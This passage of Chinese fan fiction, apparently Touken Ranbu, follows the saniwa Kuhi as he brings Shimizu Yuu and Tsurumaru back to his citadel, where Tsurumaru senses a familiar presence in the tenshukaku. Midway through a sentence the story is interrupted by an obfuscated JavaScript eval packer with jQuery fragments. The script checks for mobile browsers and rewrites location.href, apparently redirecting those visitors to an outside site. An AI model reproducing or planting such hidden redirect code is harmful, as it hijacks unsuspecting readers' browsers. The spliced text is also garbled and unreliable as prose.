他还以为主公来到这里的时间不长,虽然他之前总是逃班但好歹也是唯一的近侍,姑且算得上这个本丸中最了解主公的人了,结果居然还是有不知道的事吗? 他这边好奇着,那边久日已经开始催促了:“走吧走吧,陪我去做几套题!做完我肯定就有勇气回去了,我们还可以比一比谁写完的速度更快。对了,你这几天有背新的内容吗?是不是可以试试下一章的试卷了?……” 少年噌一下站起来,抓住清水悠就兴致勃勃地往外走,嘴里还不停絮絮叨叨,就像提起最喜欢的游戏的那些中学生。 但他在说的是试卷。 清水悠百思不得其解,世界上真的存在这么热爱学习的人吗? ……这也不是正经学习啊! - 积极性不会消失,但会转移。 当清水悠被一连串不及格的分数打击得失去笑容之后,久日也拿着一串不及格但是比他高不少的分数,真如他所说那般勇气重燃,满怀斗志准备回家。 清水悠默默退开两步,又退开两步,试图远离那团几乎燃烧起来的橙雾:“只是回家而已,就不用像少年漫似的要燃起来一样了吧。” 久日昂首挺胸:“这可是我对自己恐惧的事物迈出的第一步啊!!” 清水悠:“你的付丧神们听见会哭的。” 清水悠:“而且再燃下去,就会有人以为这边着火了哦。” 久日吓了一跳,立刻收敛。 满天晃眼的橙光不见了,清水悠松了口气,在原地等了一会儿刚才被他派去传消息的鹤丸国永,人到齐之后,三人一起踏上时空转换器。 光芒亮起之时,久日忽然想起来什么,急急在清水悠耳边说:“对了!我是偷偷跑出来的,所以等会可能——” 光芒盖过音量,直到彻底听不清他的声音。 眼前重新变得清晰的时候,清水悠才听见他姗姗来迟的后半句话。 “——可能会有、很多…人。” ……说迟了。 清水悠看着前方一双双盯住自己的眼睛,忍住想叹气的冲动。 眼前围住这个本丸时空转换器的一群付丧神眼巴巴的望着这边,视线在清水悠和久日之间转了半天,最终决定先关心自家的审神者。 “主公!您跑哪儿去了?怎么也不说一声?” “是啊,大家都很担心您。想出去玩的话可以直接告诉我们,还请不要像这样……” “主人主人,这是谁呀,是客人吗?” 最后这个问题把所有人的视线都转移到了清水悠身上。 话是对着清水悠问的,实际上却没人是要他回答。他抬手托了一把下意识后退的久日的背,听后者结结巴巴的介绍自己,努力想忽视掉心中的那种既视感。 但是真的好像传统故事中妻子见到丈夫带了别的女人回来所发出的那种质问…… 呃、还是别想了。 听到是久日自己跑到清水悠的本丸去玩的,有几个付丧神才收回了那种暗暗打量‘带坏我家主人的人’的目光。 莺丸抱歉地对他行礼:“可有打扰到您?真是抱歉,我家主人给您添麻烦了。” 清水悠还没说话,久日就先摆摆手:“怎么会啦。莺丸你这话说得,就像我是什么不懂事的孩子一样。” 莺丸笑了笑,没反驳。 他示意身后的付丧神们去准备招待客人,自己则给三人带路。 这个本丸的风格看起来和清水悠那边的不太一样,整体要精致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15030412|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多,就连路边的花草都像是精心修建过的。 虽说自己那边主要是一个百废待兴,无法拿来相提并论,但清水悠看着,也觉得这风格不像是久日会有的。 他问:“这些是你布置的吗?” 久日愣了一下,意识到他是在说摆设,摆摆手,“当然不是了,审美相关的东西,我唯一能做到的就是欣赏别人的搭配。这些是他们弄的,之前他们说想要装饰一下本丸,我就答应了,没想到弄出来还挺好看的,对吧?” 莺丸看过来,呵呵笑了两声:“是按照主人的审美来的……主人喜欢就好,这样我们就知足了。” 久日:“……” 他把手背在身后死命拽清水悠的衣摆——实物倒是拽不到,白色灵雾却被他揪得四散,惹得鹤丸国永频频往这儿看。 清水悠算是明白了。 就这茶里茶气的调调,听多了确实吓人,甚至还有点阴阳怪气的效果。 他们一路跟着莺丸走,每个本丸的布局都不一样,清水悠也不知现在究竟到了哪儿。 但就在某一刻,鹤丸国永忽然不动声色地凑近他,收起了那副四处打量的模样,眉眼透出认真。 清水悠一愣,和他对视一眼,顺着他的视线看过去,立刻便明白了他想做什么,转首询问。 “那边是天守阁吗?”他指指不远处突出的楼阁。 “是呀。”久日回答,还以为他是觉得路太远不想走了,干脆一拍手就改了主意,“我带泉去天守阁吧莺丸!你们准备的东西也送我房间里来就好啦。” 莺丸动作一顿,有些犹疑:“直接去您房间里吗?” 显然是还没完全信任这位来得突然的陌生审神者。 久日完全不觉得有什么问题:“嗯嗯,刚才我也在泉屋里写试卷,正好让他看看我做的笔记!” 清水悠:“?” 没完了是吧。 莺丸似乎是早已习惯了自家主人的好学生日常,劝也没劝,只说:“那么,我们会很快送上茶点的。” 他要去通知同伴们改地点,于是暂时离开。四下无人,走进天守阁之后,清水悠才问道:“你发现什么了,鹤丸?” “有很熟悉的气息。”鹤丸国永闭上眼,感受了一下,笃定地道,“没错,我一定认识。但是似乎是已经消散得几近于无了,我一时不太能肯定到底是什么。” 久日懵然地看着他俩,慢了好几拍才意识到他们是在说其他事,而且听起来似乎是和自己的天守阁有关。 “什么什么?在说什么?”他反应了一下,慢慢瞪大眼,“是说我的天守阁有问题吗?!” 鹤丸国永那边都还没得出结论呢,清水悠自然不敢下定论,万一只是什么正常的东西却因为他们吓到人就不好了,于是宽慰:“没有,只是搞错了也说不定,你先不要急。” 久日很听劝,说不急就不急:“哦,好。” 他带着两人先上二楼,似乎是越往上走那气息就越明显,鹤丸国永眉头锁紧,在久日推开门的那一瞬间忽然抬头,道:“我知道那是什么了,主公。” 他的目光落在属于清水悠的白雾上,若此刻清水悠是人形,那么确切一点,这个位置是—— 心脏。